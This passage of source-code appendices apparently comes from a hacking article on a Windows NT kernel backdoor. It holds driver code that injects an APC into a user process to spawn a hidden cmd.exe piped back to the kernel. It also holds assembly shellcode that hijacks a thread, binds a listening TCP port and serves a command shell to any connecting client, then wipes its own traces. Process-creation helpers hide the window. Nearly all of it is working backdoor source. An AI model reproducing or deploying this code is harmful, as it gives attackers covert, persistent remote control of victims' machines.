stack.ExpandableStackLimit = PCHAR(stack.ExpandableStackBase)

‑ StackCommit;

n = StackCommit + PAGE_SIZE;

p = PCHAR(stack.ExpandableStackBase) ‑ n;

//Create guard page

NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,

MEM_COMMIT, PAGE_READWRITE);

ULONG x; n = PAGE_SIZE;

ZwProtectVirtualMemory(hProcess, &p, &n,

PAGE_READWRITE | PAGE_GUARD, &x);

//Initialize new thread context

//similar to it's initialization by system

NT::CONTEXT context = {CONTEXT_FULL};

context.SegGs = 0;

context.SegFs = 0x38;

context.SegEs = 0x20;

context.SegDs = 0x20;

context.SegSs = 0x20;

context.SegCs = 0x18;

context.EFlags = 0x3000;

context.Esp = ULONG(stack.ExpandableStackBase) ‑ 4; context.Eip = ULONG(EntryPoint);

NT::CLIENT_ID cid;

//Create and start thread

ZwCreateThread(&hThread, THREAD_ALL_ACCESS, &attr, hProcess, &cid, &context, &stack, TRUE);

//Here i tried to make thread alertable. The try failed.

/*HANDLE hTargetThread;

NT::ZwOpenThread(&hTargetThread, THREAD_ALL_ACCESS, &attr, &clid); PVOID ThreadObj; NT::ObReferenceObjectByHandle(hTargetThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, &ThreadObj, NULL); *((unsigned char *)ThreadObj+0x4a)=1;*/

ZwResumeThread(hThread, 0);

}

VOID ShellStarter(VOID* StartShellEvent)

{

do if (NT::KeWaitForSingleObject(StartShellEvent,NT::Executive,NT::KernelMode,FALSE,NULL)==STATUS_SUCCESS) if (Terminating) NT::PsTerminateSystemThread(0); else StartShell(); while (1);

}

‑‑‑‑[ 8.2 ‑ ShellAPC.cpp

#include <stdio.h>

#include "ntdll.h"

#include "DynLoadFromNtdll.h"

#include "NtdllDynamicLoader.h"

#include "NebbetCreateProcess.h"

//Debug macro

#if (DBG)

#define dbgbkpt __asm int 3

#else

#define dbgbkpt

#endif

//Flag guarantees that thread certainly will execute APC regardless of

//it's state

#define SPECIAL_KERNEL_MODE_APC 2

namespace NT

{

extern "C"

{

// Definitions for Windows NT‑supplied APC routines.

// These are exported in the import libraries,

// but are not in NTDDK.H

void KeInitializeApc(PKAPC Apc, PKTHREAD Thread, CCHAR ApcStateIndex, PKKERNEL_ROUTINE KernelRoutine, PKRUNDOWN_ROUTINE RundownRoutine, PKNORMAL_ROUTINE NormalRoutine, KPROCESSOR_MODE ApcMode, PVOID NormalContext);

void KeInsertQueueApc(PKAPC Apc, PVOID SystemArgument1, PVOID SystemArgument2, UCHAR unknown);

}

}

//Variant of structure SYSTEM_PROCESSES for NT4

namespace NT {

typedef struct _SYSTEM_PROCESSES_NT4 { // Information Class 5

ULONG NextEntryDelta;

ULONG ThreadCount;

ULONG Reserved1[6];

LARGE_INTEGER CreateTime;

LARGE_INTEGER UserTime;

LARGE_INTEGER KernelTime;

UNICODE_STRING ProcessName;

KPRIORITY BasePriority;

ULONG ProcessId;

ULONG InheritedFromProcessId;

ULONG HandleCount;

ULONG Reserved2[2];

VM_COUNTERS VmCounters;

SYSTEM_THREADS Threads[1];

} SYSTEM_PROCESSES_NT4, *PSYSTEM_PROCESSES_NT4;

}

//Function searches process with given name.

//Writes PID and TID of first thread to ClientId

BOOL FindProcess(PCWSTR process, OUT NT::PCLIENT_ID ClientId)

{

NT::UNICODE_STRING ProcessName; NT::RtlInitUnicodeString(&ProcessName,process); ULONG n=0xFFFF;

//Allocate some memory

PULONG q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); //Request information about processes and threads

//until it will fit in allocated memory.

while (NT::ZwQuerySystemInformation(NT::SystemProcessesAndThreadsInformation, q, n * sizeof *q, 0))

{

//If it didn't fit ‑ free allocated memory...

NT::ExFreePool(q);

n*=2;

//... and allocate twice bigger

q = (PULONG)NT::ExAllocatePool(NT::NonPagedPool,n*sizeof(*q)); }

ULONG MajorVersion;

//Request OS version

NT::PsGetVersion(&MajorVersion, NULL, NULL, NULL);

//Copy pointer to SYSTEM_PROCESSES.

//copy will be modified indirectly

NT::PSYSTEM_PROCESSES p = NT::PSYSTEM_PROCESSES(q); //"process NOT found" ‑ yet

BOOL found=0;

//Pointer to p will be used to indirect modify p.

//This trick is needed to force compiler to perform arithmetic operations with p

//in bytes, not in sizeof SYSTEM_PROCESSES units

char** pp=(char**)&p;

//Process search cycle

do

{

//If process have nonzero number of threads (0 threads is abnormal, but possible),

//has name, that matches looked for...

if ((p‑>ThreadCount)&&(p‑>ProcessName.Buffer)&&(!NT::RtlCompareUnicodeString(&p‑>ProcessName,&ProcessName,TRUE))) {

//... then copy data about it to variable pointed by ClientId.

//Accounted for different sizeof SYSTEM_PROCESSES in different versions of NT

if (MajorVersion<=4)

*ClientId = ((NT::PSYSTEM_PROCESSES_NT4)p)‑>Threads[0].ClientId;

else *ClientId = p‑>Threads[0].ClientId;

//Set flag "process found"

found=1;

//Stop search

break;

}

//No more processes ‑ stop

if (!(p‑>NextEntryDelta)) break; //Move to next process

*pp+=p‑>NextEntryDelta;

} while(1);

//Free memory

NT::ExFreePool(q);

//Return "is the process found" flag

return found;

}

//Generates named pipe name similar to used by API‑function CreatePipe

void MakePipeName(NT::PUNICODE_STRING KernelPipeName)

{

//For generation of unrepeating numbers

static unsigned long PipeIdx; //pseudorandom number

ULONG rnd;

//name template

wchar_t KPNS = L"\\Device\\NamedPipe\\Win32Pipes.%08x.%08x";

//...and it's length in bytes

ULONG KPNL = wcslen(KPNS)+(8‑4)*2+1;

//String buffer: allocated here, freed by caller

wchar_t buf;

//Request system timer: KeQueryInterruptTime is here not for exact

//counting out time, but for generation of pseudorandom numbers

rnd = (ULONG)NT::KeQueryInterruptTime(); //Allocate memory for string

buf = (wchar_t *)NT::ExAllocatePool(NT::NonPagedPool,(KPNL)*2); //Generate name: substitute numbers o template

_snwprintf(buf, KPNL, KPNS, PipeIdx++, rnd); //Write buffer address and string length to KernelPipeName (initialisation)

NT::RtlInitUnicodeString(KernelPipeName, buf);

}

extern "C" NTSTATUS myCreatePipe1(PHANDLE phPipe, NT::PUNICODE_STRING PipeName, IN ACCESS_MASK DesiredAccess, PSECURITY_DESCRIPTOR sd, ULONG ShareAccess); extern NTSTATUS BuildAlowingSD(PVOID *sd);

struct APC_PARAMETERS {

NT::UNICODE_STRING KernelPipeName;

ULONG ChildPID;

};

//APC handler, runs in context of given thread

void KMApcCallback1(NT::PKAPC Apc, NT::PKNORMAL_ROUTINE NormalRoutine, PVOID NormalContext, PVOID SystemArgument1, PVOID SystemArgument2)

{

UNREFERENCED_PARAMETER(NormalRoutine); UNREFERENCED_PARAMETER(NormalContext);

dbgbkpt;

//Start process with redirected I/O, SystemArgument1 is named pipe name

(*(APC_PARAMETERS**)SystemArgument1)‑>ChildPID=execute_piped(L"\\SystemRoot\\System32\\cmd.exe", &((*(APC_PARAMETERS**)SystemArgument1)‑>KernelPipeName)); //Free memory occupied by APC

NT::ExFreePool(Apc);

//Signal about APC processing completion

NT::KeSetEvent(*(NT::KEVENT**)SystemArgument2, 0, TRUE); return;

}

//Function starts shell process (cmd.exe) with redirected I/O.

//Returns bidirectional named pipe handle in phPipe

extern "C" ULONG StartShell(PHANDLE phPipe)

{

//_asm int 3;

HANDLE hProcess=0, hThread;

APC_PARAMETERS ApcParameters;

//Event of APC processing completion

NT::KEVENT ApcCompletionEvent;

//dbgbkpt;

NT::CLIENT_ID clid;

//Look for process to launch shell from it's context.

//That process must be always present in system

if(!FindProcess(/*L"services.exe"*/L"calc.exe",&clid)) {dbgbkpt;

return FALSE;};

NT::OBJECT_ATTRIBUTES attr={sizeof(NT::OBJECT_ATTRIBUTES), 0,NULL, OBJ_CASE_INSENSITIVE}; //Get process handle from it's PID

NT::ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &attr, &clid); if (!hProcess) {dbgbkpt;

return FALSE;};

//Get thread handle from it's TID

NT::ZwOpenThread(&hThread, THREAD_ALL_ACCESS, &attr, &clid); NT::PKTHREAD ThreadObj;

//Get pointer to thread object from it's handle

NT::ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, NT::KernelMode, (PVOID*)&ThreadObj, NULL);

NT::PKAPC Apc;

ApcParameters.ChildPID=0;

//Allocate memory for APC

Apc = (NT::KAPC*)NT::ExAllocatePool(NT::NonPagedPool, sizeof(NT::KAPC)); //Initialize APC

dbgbkpt;

NT::KeInitializeApc(Apc,

ThreadObj,

SPECIAL_KERNEL_MODE_APC,

(NT::PKKERNEL_ROUTINE)&KMApcCallback1, // kernel mode routine

0, // rundown routine

0, // user‑mode routine

NT::KernelMode,

0 //context

);

//Initialize APC processing completion event

NT::KeInitializeEvent(&ApcCompletionEvent,NT::SynchronizationEvent,FALSE);

//Generate random unique named pipe name

MakePipeName(&ApcParameters.KernelPipeName/*, &UserPipeName*/);

PVOID sd;

//Access will be read‑only without it.

//There's a weak place in the view of security.

if (BuildAlowingSD(&sd)) return FALSE;

if (myCreatePipe1(phPipe, &ApcParameters.KernelPipeName, GENERIC_READ | GENERIC_WRITE, sd, FILE_SHARE_READ | FILE_SHARE_WRITE)) return FALSE; NT::KeInsertQueueApc(Apc, &ApcParameters, &ApcCompletionEvent, 0); NT::KeWaitForSingleObject(&ApcCompletionEvent,NT::Executive,NT::KernelMode,FALSE,NULL); NT::RtlFreeUnicodeString(&ApcParameters.KernelPipeName); NT::ZwClose(hProcess);

NT::ZwClose(hThread);

return ApcParameters.ChildPID;

}

‑‑‑‑[ 8.3 ‑ dummy4.asm

;Exported symbols ‑ reference points for automated tool

;which generates C code of hex‑encoded string

PUBLIC Start

PUBLIC EndFile

PUBLIC CLID_here

;Debug flag ‑ int 3 in the code

DEBUG EQU 1

;Falg "accept more then 1 connection"

MULTIPLE_CONNECT EQU 1

;Falg "bind to next port, if current port busy"

RETRY_BIND EQU 1

.486 ; processor type

.model flat, stdcall ; model of memory

option casemap: none ; disable case sensivity

; includes for file

include Imghdr.inc

include w32.inc

include WSOCK2.INC

; structure initializing

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sSEH STRUCT

OrgEsp dd ?

SaveEip dd ?

sSEH ENDS

CLIENT_ID STRUCT

UniqueProcess dd ?

UniqueThread dd ?

CLIENT_ID ENDS

OBJECT_ATTRIBUTES STRUCT

Length dd ?

RootDirectory dd ?

ObjectName dd ?

Attributes dd ?

SecurityDescriptor dd ?

SecurityQualityOfService dd ?

OBJECT_ATTRIBUTES ENDS

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

.code

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

MAX_API_STRING_LENGTH equ 150

ALLOCATION_GRANULARITY EQU 10000H

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

new_section:

;Macro replaces lea, correcting address for position independency laa MACRO reg, operand

lea reg, operand

add reg, FixupDelta

ENDM

;The same, but not uses FixupDelta (autonomous)

laaa MACRO reg, operand

local @@delta

call $+5

@@delta:

sub DWORD PTR [esp], OFFSET @@delta

lea reg, operand

add reg, DWORD PTR [esp]

add esp,4

ENDM

main proc

Start:

IFDEF DEBUG

int 3

ENDIF

;Code for evaluating self address

delta:

pop ebx

sub ebx,OFFSET delta

;Allocate place for variables in stack

enter SizeOfLocals,0

;Save difference between load address and ImageBase

mov FixupDelta,ebx

;Tables, where to write addresses of exported functions KERNEL32FunctionsTable EQU _CreateThread NTDLLFunctionsTable EQU _ZwOpenThread WS2_32FunctionsTable EQU _WSASocket

;Local variables

local flag:DWORD,save_eip:DWORD,_CreateThread:DWORD,_GetThreadContext:DWORD,_SetThreadContext:DWORD,_ExitThread:DWORD,_LoadLibrary:DWORD,_CreateProcessA:DWORD,_Sleep:DWORD,_VirtualFree:DWORD,_ZwOpenThread:DWORD,_ZwAlertThread:DWORD,cxt:CONTEXT,clid:CLIENT_ID,hThread:DWORD,attr:OBJECT_ATTRIBUTES,addr:sockaddr_in,sizeofaddr:DWORD,sock:DWORD,sock2:DWORD,StartInf:STARTUPINFO,ProcInf:PROCESS_INFORMATION,_WSASocket:DWORD,_bind:DWORD,_listen:DWORD,_accept:DWORD,_WSAStartup:DWORD,_closesocket:DWORD,_WSACleanup:DWORD,wsadat:WSAdata,FixupDelta:DWORD =SizeOfLocals assume fs : nothing

;‑‑‑‑ get ImageBase of kernel32.dll ‑‑‑‑

lea ebx,KERNEL32FunctionsTable

push ebx

laa ebx,KERNEL32StringTable

push ebx

push 0FFFF0000h

call GetDllBaseAndLoadFunctions

lea ebx,NTDLLFunctionsTable

push ebx

laa ebx,NTDLLStringTable

push ebx

push 0FFFF0000h

call GetDllBaseAndLoadFunctions

laa edi, CLID_here

push edi

assume edi:ptr OBJECT_ATTRIBUTES

lea edi,attr

cld

mov ecx,SIZE OBJECT_ATTRIBUTES

xor eax,eax

rep stosb

lea edi,attr

mov[edi].Length,SIZE OBJECT_ATTRIBUTES

push edi

push THREAD_ALL_ACCESS

lea edi,hThread

push edi

IFDEF DEBUG

int 3

ENDIF

call _ZwOpenThread

lea edi, cxt

assume edi:ptr CONTEXT

mov [edi].cx_ContextFlags,CONTEXT_FULL

xor ebx,ebx

mov eax,hThread

;there is a thread handle in EAX

;push at once for call many following functions

push edi ; _SetThreadContext

push eax

;‑)

push eax ; _ZwAlertThread

;‑)

push edi ; _SetThreadContext

push eax

;‑)

push edi ; _GetThreadContext

push eax

call _GetThreadContext

mov eax,[edi].cx_Eip

mov save_eip,eax

laa eax, new_thread

mov [edi].cx_Eip, eax

;Self‑modify code

;Save EBP to copy current stack in each new thread

laa eax, ebp_value_here

mov [eax],ebp

laa eax, ebp1_value_here

mov [eax],ebp

;Write addres of flag, that informs of "create main thread" completion laa eax, flag_addr_here

lea ebx,flag

mov [eax],ebx

mov flag,0

call _SetThreadContext

;If thread in wait state, it will not run until it (wait) ends or alerted call _ZwAlertThread

;not works if wait is nonalertable

;Wait for main thread creation

check_flag:

call _Sleep,10

cmp flag,1

jnz check_flag

;Restore EIP of interupted thread

mov eax, save_eip

mov [edi].cx_Eip, eax

call _SetThreadContext

push 0

call _ExitThread

; ‑‑‑ This code executes in interrupted thread and creates main thread ‑‑new_thread:

IFDEF DEBUG

int 3

ENDIF

ebp1_value_here_2:

mov ebp,0

lab_posle_ebp1_value:

ORG ebp1_value_here_2+1

ebp1_value_here:

ORG lab_posle_ebp1_value‑main

xor eax,eax

push eax

push eax

push eax

laa ebx, remote_shell

push ebx

push eax

push eax

call _CreateThread

;call _Sleep,INFINITE

jmp $

remote_shell:

IFDEF DEBUG

int 3

ENDIF

ebp_value_here_2:

mov esi,0

lab_posle_ebp_value:

ORG ebp_value_here_2+1

ebp_value_here:

ORG lab_posle_ebp_value‑main

mov ecx,SizeOfLocals

sub esi,ecx

mov edi,esp

sub edi,ecx

cld

rep movsb

mov ebp,esp

sub esp,SizeOfLocals

flag_addr_here_2:

mov eax,0

lab_posle_flag_addr:

ORG flag_addr_here_2+1

flag_addr_here:

ORG lab_posle_flag_addr‑main

mov DWORD PTR [eax],1

;Load WinSock

laa eax,szWSOCK32

call _LoadLibrary,eax

or eax, eax

jz quit

;‑‑‑‑ get ImageBase of ws2_32.dll ‑‑‑‑

;I'm deviator: load at first, then as if seek :)

lea ebx,WS2_32FunctionsTable

push ebx

laa ebx,WS2_32StringTable

push ebx

push eax

call GetDllBaseAndLoadFunctions

;‑‑‑ telnet server

lea eax,wsadat

push eax

push 0101h

call _WSAStartup

xor ebx,ebx

;socket does not suit here!

call _WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,ebx,ebx,ebx mov sock,eax

mov addr.sin_family,AF_INET

mov addr.sin_port,0088h

mov addr.sin_addr,INADDR_ANY

;Look for unused port from 34816 and bind to it

retry_bind:

lea ebx,addr

call _bind,sock,ebx,SIZE sockaddr_in

IFDEF RETRY_BIND

or eax, eax

jz l_listen

lea edx,addr.sin_port+1

inc byte ptr[edx]

cmp byte ptr[edx],0

;All ports busy...

jz quit

jmp retry_bind

ENDIF

l_listen:

call _listen,sock,1

or eax, eax

jnz quit

ShellCycle:

mov sizeofaddr,SIZE sockaddr_in

lea eax,sizeofaddr

push eax

lea eax, addr

push eax

push sock

call _accept

mov sock2, eax

RunCmd:

;int 3

;Zero StartInf

cld

lea edi,StartInf

xor eax,eax

mov ecx,SIZE STARTUPINFO

rep stosb

;Fill StartInf. Shell will be bound to socket

mov StartInf.dwFlags,STARTF_USESTDHANDLES; OR STARTF_USESHOWWINDOW mov eax, sock2

mov StartInf.hStdOutput,eax

mov StartInf.hStdError,eax

mov StartInf.hStdInput,eax

mov StartInf.cb,SIZE STARTUPINFO

;Start shell

xor ebx,ebx

lea eax,ProcInf

push eax

lea eax,StartInf

push eax

push ebx

push ebx

push CREATE_NO_WINDOW

push 1

push ebx

push ebx

laa eax,CmdLine

push eax

push ebx

call _CreateProcessA

;To avoid hanging sessions

call _closesocket,sock2

IFDEF MULTIPLE_CONNECT

jmp ShellCycle

ENDIF

quit:

call _closesocket,sock

call _WSACleanup

;Sweep traces: free memory with that code and terminate thread ;Code must not free stack because ExitThread address is there

;It may wipe (zero out) stack in future versions

push MEM_RELEASE

xor ebx,ebx

push ebx

push OFFSET Start

push ebx

push _ExitThread

jmp _VirtualFree

main endp

; ‑‑‑‑‑‑ ROUTINES ‑‑‑‑‑‑

; returns NULL in the case of an error

GetDllBaseAndLoadFunctions proc uses edi esi, dwSearchStartAddr:DWORD, FuncNamesTable:DWORD, FuncPtrsTable:DWORD

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

local SEH:sSEH, FuncNameEnd:DWORD,dwDllBase:DWORD,PEHeader:DWORD ; install SEH frame

laaa eax, KernelSearchSehHandler

push eax

push fs:dword ptr[0]

mov SEH.OrgEsp, esp

laaa eax, ExceptCont

mov SEH.SaveEip, eax

mov fs:dword ptr[0], esp

; start the search

mov edi, dwSearchStartAddr

.while TRUE

.if word ptr [edi] == IMAGE_DOS_SIGNATURE

mov esi, edi

add esi, [esi+03Ch]

.if dword ptr [esi] == IMAGE_NT_SIGNATURE

.break

.endif

.endif

ExceptCont:

sub edi, 010000h

.endw

mov dwDllBase,edi

mov PEHeader,esi

LoadFunctions:

; get the string length of the target Api

mov edi, FuncNamesTable

mov ecx, MAX_API_STRING_LENGTH

xor al, al

repnz scasb

mov FuncNameEnd,edi

mov ecx, edi

sub ecx, FuncNamesTable ; ECX ‑> Api string length

; trace the export table

mov edx, [esi+078h] ; EDX ‑> Export table

add edx, dwDllBase

assume edx:ptr IMAGE_EXPORT_DIRECTORY

mov ebx, [edx].AddressOfNames ; EBX ‑> AddressOfNames array pointer add ebx, dwDllBase

xor eax, eax ; eax AddressOfNames Index

.repeat

mov edi, [ebx]

add edi, dwDllBase

mov esi, FuncNamesTable

push ecx ; save the api string length

repz cmpsb

.if zero?

add esp, 4

.break

.endif

pop ecx

add ebx, 4

inc eax

.until eax == [edx].NumberOfNames

; did we found sth ?

.if eax == [edx].NumberOfNames

jmp ExceptContinue

.endif

; find the corresponding Ordinal

mov esi, [edx].AddressOfNameOrdinals

add esi, dwDllBase

shl eax, 1

add eax, esi

movzx eax,word ptr [eax]

; get the address of the api

mov edi, [edx].AddressOfFunctions

shl eax, 2

add eax, dwDllBase

add eax, edi

mov eax, [eax]

add eax, dwDllBase

mov ecx,FuncNameEnd

mov FuncNamesTable,ecx

mov ebx,FuncPtrsTable

mov DWORD PTR [ebx],eax

mov esi,PEHeader

cmp BYTE PTR [ecx],0

jnz LoadFunctions

Quit:

; shutdown seh frame

pop fs:dword ptr[0]

add esp, 4

ret

ExceptContinue:

mov edi, dwDllBase

jmp ExceptCont

GetDllBaseAndLoadFunctions endp

KernelSearchSehHandler PROC C pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD mov eax, pContext

assume eax:ptr CONTEXT

sub dword ptr [eax].cx_Edi,010000h

mov eax, 0 ;ExceptionContinueExecution

ret

KernelSearchSehHandler ENDP

KERNEL32StringTable:

szCreateThread db "CreateThread",0

szGetThreadContext db "GetThreadContext",0 szSetThreadContext db "SetThreadContext",0

szExitThread db "ExitThread",0

szLoadLibrary db "LoadLibraryA",0

szCreateProcessA db "CreateProcessA",0

szSleep db "Sleep",0

szVirtualFree db "VirtualFree",0

db 0

szWSOCK32 db "WS2_32.DLL",0

WS2_32StringTable:

szsocket db "WSASocketA",0

szbind db "bind",0

szlisten db "listen",0

szaccept db "accept",0

szWSAStartup db "WSAStartup",0

szclosesocket db "closesocket",0

szWSACleanup db "WSACleanup",0

db 0

NTDLLStringTable:

szZwOpenThread db "ZwOpenThread",0

szZwAlertThread db "ZwAlertThread",0

db 0

CmdLine db "cmd.exe",0

ALIGN 4

CLID_here CLIENT_ID <0>

;‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

EndFile:

end Start

‑‑‑‑[ 8.4 ‑ NebbetCreateProcess.cpp

#include <ntdll.h>

#include "DynLoadFromNtdll.h"

#include "NtdllDynamicLoader.h"

extern "C" {

#include "SECSYS.H"

}

namespace NT {

typedef struct _CSRSS_MESSAGE{

ULONG Unknwon1;

ULONG Opcode;

ULONG Status;

ULONG Unknwon2;

}CSRSS_MESSAGE,*PCSRSS_MESSAGE;

}

DYNAMIC_LOAD1(CsrClientCallServer) DYNAMIC_LOAD1(RtlDestroyProcessParameters) DYNAMIC_LOAD1(ZwWriteVirtualMemory)

DYNAMIC_LOAD1(ZwResumeThread)

DYNAMIC_LOAD1(ZwCreateThread) DYNAMIC_LOAD1(ZwProtectVirtualMemory) DYNAMIC_LOAD1(ZwCreateProcess) DYNAMIC_LOAD1(ZwRequestWaitReplyPort) DYNAMIC_LOAD1(ZwReadVirtualMemory) DYNAMIC_LOAD1(ZwCreateNamedPipeFile) DYNAMIC_LOAD1(LdrGetDllHandle)

//Dynamic import of functions exported from ntdll.dll

extern "C" void LoadFuncs()

{

static PVOID pNTDLL;

if (!pNTDLL)

{

pNTDLL=FindNT(); DYNAMIC_LOAD2(CsrClientCallServer) DYNAMIC_LOAD2(RtlDestroyProcessParameters) DYNAMIC_LOAD2(ZwWriteVirtualMemory) DYNAMIC_LOAD2(ZwResumeThread) DYNAMIC_LOAD2(ZwCreateThread) DYNAMIC_LOAD2(ZwProtectVirtualMemory) DYNAMIC_LOAD2(ZwCreateProcess) DYNAMIC_LOAD2(ZwRequestWaitReplyPort) DYNAMIC_LOAD2(ZwReadVirtualMemory) DYNAMIC_LOAD2(ZwCreateNamedPipeFile) DYNAMIC_LOAD2(LdrGetDllHandle)

}

}

//Informs CSRSS about new win32‑process

VOID InformCsrss(HANDLE hProcess, HANDLE hThread, ULONG pid, ULONG tid) {

// _asm int 3;

struct CSRSS_MESSAGE {

ULONG Unknown1;

ULONG Opcode;

ULONG Status;

ULONG Unknown2;

};

struct {

NT::PORT_MESSAGE PortMessage; CSRSS_MESSAGE CsrssMessage;

PROCESS_INFORMATION ProcessInformation; NT::CLIENT_ID Debugger;

ULONG CreationFlags;

ULONG VdmInfo[2];

} csrmsg = {{0}, {0}, {hProcess, hThread, pid, tid}, {0}, 0/*STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW*/, {0}};

CsrClientCallServer(&csrmsg, 0, 0x10000, 0x24);

}

//Initialse empty environment

PWSTR InitEnvironment(HANDLE hProcess)

{

PVOID p=0;

DWORD dummy=0;

DWORD n=sizeof(dummy);

DWORD m;

m=n;

NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &m,

MEM_COMMIT, PAGE_READWRITE);

ZwWriteVirtualMemory(hProcess, p, &dummy, n, 0);

return PWSTR(p);

}

// Clone of Ntdll::RtlCreateProcessParameters...

VOID RtlCreateProcessParameters(NT::PPROCESS_PARAMETERS* pp,

NT::PUNICODE_STRING ImageFile,

NT::PUNICODE_STRING DllPath,

NT::PUNICODE_STRING CurrentDirectory,

NT::PUNICODE_STRING CommandLine,

ULONG CreationFlag,

NT::PUNICODE_STRING WindowTitle,

NT::PUNICODE_STRING Desktop,

NT::PUNICODE_STRING Reserved,

NT::PUNICODE_STRING Reserved2){

NT::PROCESS_PARAMETERS* lpp;

ULONG Size=sizeof(NT::PROCESS_PARAMETERS); if(ImageFile) Size+=ImageFile‑>MaximumLength; if(DllPath) Size+=DllPath‑>MaximumLength; if(CurrentDirectory) Size+=CurrentDirectory‑>MaximumLength; if(CommandLine) Size+=CommandLine‑>MaximumLength; if(WindowTitle) Size+=WindowTitle‑>MaximumLength; if(Desktop) Size+=Desktop‑>MaximumLength; if(Reserved) Size+=Reserved‑>MaximumLength; if(Reserved2) Size+=Reserved2‑>MaximumLength;

//Allocate the buffer..

*pp=(NT::PPROCESS_PARAMETERS)NT::ExAllocatePool(NT::NonPagedPool,Size); lpp=*pp;

RtlZeroMemory(lpp,Size);

lpp‑>AllocationSize=PAGE_SIZE; lpp‑>Size=sizeof(NT::PROCESS_PARAMETERS); // Unicode size will be added (if any)

lpp‑>hStdInput=0;

lpp‑>hStdOutput=0;

lpp‑>hStdError=0;

if(CurrentDirectory){ lpp‑>CurrentDirectoryName.Length=CurrentDirectory‑>Length; lpp‑>CurrentDirectoryName.MaximumLength=CurrentDirectory‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,CurrentDirectory‑>Buffer,CurrentDirectory‑>Length); lpp‑>CurrentDirectoryName.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=CurrentDirectory‑>MaximumLength; }

if(DllPath){ lpp‑>DllPath.Length=DllPath‑>Length; lpp‑>DllPath.MaximumLength=DllPath‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,DllPath‑>Buffer,DllPath‑>Length); lpp‑>DllPath.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=DllPath‑>MaximumLength;

}

if(ImageFile){ lpp‑>ImageFile.Length=ImageFile‑>Length; lpp‑>ImageFile.MaximumLength=ImageFile‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,ImageFile‑>Buffer,ImageFile‑>Length); lpp‑>ImageFile.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=ImageFile‑>MaximumLength;

}

if(CommandLine){ lpp‑>CommandLine.Length=CommandLine‑>Length; lpp‑>CommandLine.MaximumLength=CommandLine‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,CommandLine‑>Buffer,CommandLine‑>Length); lpp‑>CommandLine.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=CommandLine‑>MaximumLength;

}

if(WindowTitle){ lpp‑>WindowTitle.Length=WindowTitle‑>Length; lpp‑>WindowTitle.MaximumLength=WindowTitle‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,WindowTitle‑>Buffer,WindowTitle‑>Length); lpp‑>WindowTitle.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=WindowTitle‑>MaximumLength;

}

if(Desktop){ lpp‑>Desktop.Length=Desktop‑>Length; lpp‑>Desktop.MaximumLength=Desktop‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,Desktop‑>Buffer,Desktop‑>Length); lpp‑>Desktop.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=Desktop‑>MaximumLength;

}

if(Reserved){ lpp‑>Reserved2.Length=Reserved‑>Length; lpp‑>Reserved2.MaximumLength=Reserved‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,Reserved‑>Buffer,Reserved‑>Length); lpp‑>Reserved2.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=Reserved‑>MaximumLength;

}

/* if(Reserved2){

lpp‑>Reserved3.Length=Reserved2‑>Length; lpp‑>Reserved3.MaximumLength=Reserved2‑>MaximumLength; RtlCopyMemory((PCHAR)(lpp)+lpp‑>Size,Reserved2‑>Buffer,Reserved2‑>Length); lpp‑>Reserved3.Buffer=(PWCHAR)lpp‑>Size; lpp‑>Size+=Reserved2‑>MaximumLength;

}*/

}

VOID CreateProcessParameters(HANDLE hProcess, NT::PPEB Peb, NT::PUNICODE_STRING ImageFile, HANDLE hPipe) {

NT::PPROCESS_PARAMETERS pp;

NT::UNICODE_STRING CurrentDirectory;

NT::UNICODE_STRING DllPath;

NT::RtlInitUnicodeString(&CurrentDirectory,L"C:\\WINNT\\SYSTEM32\\"); NT::RtlInitUnicodeString(&DllPath,L"C:\\;C:\\WINNT\\;C:\\WINNT\\SYSTEM32\\");

RtlCreateProcessParameters(&pp, ImageFile, &DllPath,&CurrentDirectory, ImageFile, 0, 0, 0, 0, 0);

pp‑>hStdInput=hPipe; pp‑>hStdOutput=hPipe;//hStdOutPipe;

pp‑>hStdError=hPipe;//hStdOutPipe;

pp‑>dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; pp‑>wShowWindow=SW_HIDE;//CREATE_NO_WINDOW;

pp‑>Environment = InitEnvironment(hProcess);

ULONG n = pp‑>Size;

PVOID p = 0;

NT::ZwAllocateVirtualMemory(hProcess, &p, 0, &n,

MEM_COMMIT, PAGE_READWRITE);

ZwWriteVirtualMemory(hProcess, p, pp, pp‑>Size, 0);

ZwWriteVirtualMemory(hProcess, PCHAR(Peb) + 0x10, &p, sizeof p, 0);

RtlDestroyProcessParameters(pp);

}

namespace NT {

extern "C" {

